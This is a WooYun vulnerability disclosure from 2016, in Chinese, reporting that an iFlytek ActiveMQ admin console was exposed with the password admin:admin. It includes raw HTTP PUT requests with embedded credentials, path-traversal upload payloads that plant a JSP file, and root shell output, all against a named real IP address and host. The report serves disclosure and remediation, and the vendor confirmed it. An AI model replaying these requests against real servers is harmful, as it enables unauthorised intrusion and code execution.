当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0210455

漏洞标题：科大讯飞ActiveMQ管理弱口令可导致命令执行

相关厂商：iflytek.com

漏洞作者： 猪猪侠

提交时间：2016-05-19 11:57

修复时间：2016-07-03 14:20

公开时间：2016-07-03 14:20

漏洞类型：文件上传导致任意代码执行

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-05-19： 细节已通知厂商并且等待厂商处理中
2016-05-19： 厂商已经确认，细节仅向厂商公开
2016-05-29： 细节向核心白帽子及相关领域专家公开
2016-06-08： 细节向普通白帽子公开
2016-06-18： 细节向实习白帽子公开
2016-07-03： 细节向公众公开

简要描述：

科大讯飞ActiveMQ管理弱口令可导致命令执行
http://zone.wooyun.org/content/26827

详细说明：

#1 漏洞网站， ActiveMQ对外开放
http://117.121.50.210:8161/admin/
http://ai.iflytek.com:8161/admin/
#2 弱口令
管理控制台的密码是 admin:admin
#3 对应系统
访问，http://117.121.50.210 跳转到 www.xfyun.cn
#4 ActiveMQ 提供了一个fileserver功能，支持RESTful file access
具体的利用细节，参考：http://zone.wooyun.org/content/26827

漏洞证明：

nc 117.121.50.210 8161
PUT /fileserver/shell.txt HTTP/1.0
Content-Length: 27
Host: 117.121.50.210:8161
Connection: Close
Authorization: Basic YWRtaW46YWRtaW4=
this is shell


xf.png


PUT /fileserver/%2F%2F2%083.jsp HTTP/1.0
Content-Length: 27
Host: 117.121.50.210:8161
Connection: Close
Authorization: Basic YWRtaW46YWRtaW4=
123123123123123123123123123


路径：/fileserver/3.jsp

PUT /fileserver/a../%08/...%08/.%08/%08admin/3.jsp HTTP/1.0
Content-Length: 27
Host: 117.121.50.210:8161
Connection: Close
Authorization: Basic YWRtaW46YWRtaW4=
123123123123123123123123123


路径：/fileserver/a../../admin/3.jsp
# 这里要用其它方法拿shell 或者 CVE-2016-3088
$ pwd
/usr/local/activemq/activemq/webapps/fileserver/
$ whoami
root
$ hostname
bj-web

修复方案：

# 禁止对外网开放

版权声明：转载请注明来源 猪猪侠@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：18

确认时间：2016-05-19 14:13

厂商回复：

感谢大神关注

最新状态：

暂无

漏洞评价：

评价

  1. 2016-05-19 12:00 | Format_smile ( 普通白帽子 | Rank:653 漏洞数:218 | ···孰能无过，谁是谁非！)

    好姿势

  2. 2016-05-19 12:07 | 路人毛 ( 普通白帽子 | Rank:157 漏洞数:64 | 要想Rank给高，标题一定得屌)

    第二步简直大赞，get新技能

  3. 2016-05-19 12:08 | 猪猪侠 认证白帽子 ( 核心白帽子 | Rank:5382 漏洞数:416 | 你都有那么多超级棒棒糖了，还要自由干吗？)

    ActiveMQ ，社区的 http://zone.wooyun.org/content/26827

  4. 2016-05-19 12:50 | Martial ( 普通白帽子 | Rank:2639 漏洞数:371 | 竟然还有人冒充我，醉了，骗子QQ445697541...)

    你关注的白帽子 猪猪侠 发表了漏洞 科大讯飞某站可上传任意文件导致命令执行(新姿势)

  5. 2016-05-19 13:37 | STCX ( 路人 | Rank:21 漏洞数:8 | 向大黑阔们致敬)

    留个名

  6. 2016-05-19 14:21 | Black Angel ( 普通白帽子 | Rank:165 漏洞数:36 | 最神奇的一群人，智慧低调又内敛，俗称马甲...)

    apache activemq for windows 是不是这个？

  7. 2016-05-19 14:33 | DNS ( 普通白帽子 | Rank:803 漏洞数:85 | root@qisec.com)

    你关注的白帽子 猪猪侠 发表了漏洞 科大讯飞某站可上传任意文件导致命令执行(新姿势)

  8. 2016-05-19 14:34 | phoenixne ( 普通白帽子 | Rank:294 漏洞数:106 | 小本毕业，向各位学习)

    楼上的都看得见细节？

  9. 2016-05-20 00:12 | mango ( 核心白帽子 | Rank:2185 漏洞数:312 | 解决问题的第一步，是要承认问题的存在。)

    猪猪侠找到路径了？？我之前没搞到这个点的路径就没看继续看了~~